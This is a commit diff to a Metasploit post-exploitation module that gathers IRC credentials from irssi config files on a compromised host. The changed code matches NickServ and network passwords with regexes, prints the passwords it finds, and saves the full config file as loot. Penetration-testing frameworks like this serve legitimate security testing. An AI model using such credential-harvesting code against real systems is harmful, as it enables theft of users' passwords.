Skip to content

Commit 96927b4

Browse files
author
Jonathan Claudius
committed
Rework module to grab entire irssi configs
1 parent 6a1531d commit 96927b4

File tree

1 file changed

+15
-18
lines changed

1 file changed

+15
-18
lines changed

modules/post/multi/gather/irssi_creds.rb

Lines changed: 15 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -46,18 +46,19 @@ def run
4646
# ***Network Password Example***
4747
# password = "example_password";
4848
#
49-
def extract_passwords(path)
49+
def contains_passwords?(path)
5050
data = read_file(path)
5151
identify_passwords = data.scan(/\/\^?msg nickserv identify ([^\s]+)/)
5252
network_passwords = data.scan(/^?password = "([^\s]+)"/)
5353

5454
passwords = identify_passwords.flatten + network_passwords.flatten
5555

5656
if passwords.any?
57-
return passwords
57+
print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}")
58+
return true
5859
end
5960

60-
[]
61+
false
6162
end
6263

6364
def download_passwords(paths)
@@ -67,21 +68,17 @@ def download_passwords(paths)
6768
path.chomp!
6869
next if ['.', '..'].include?(path)
6970

70-
irc_passwords = extract_passwords(path)
71-
72-
next if irc_passwords.empty?
73-
74-
print_good("Found IRC password(s): #{irc_passwords.join(',')}")
75-
76-
loot_path = store_loot(
77-
'irc.passwords',
78-
'text/plain',
79-
session,
80-
irc_passwords.join("\n"),
81-
path,
82-
'IRC Password'
83-
)
84-
print_good("IRC password(s) stored in #{loot_path}")
71+
if contains_passwords?(path)
72+
loot_path = store_loot(
73+
'irssi config file',
74+
'text/plain',
75+
session,
76+
read_file(path),
77+
path,
78+
'IRC Password'
79+
)
80+
print_good("irssi config with passwords stored in #{loot_path}")
81+
end
8582
end
8683
end
8784

0 commit comments

Comments
 (0)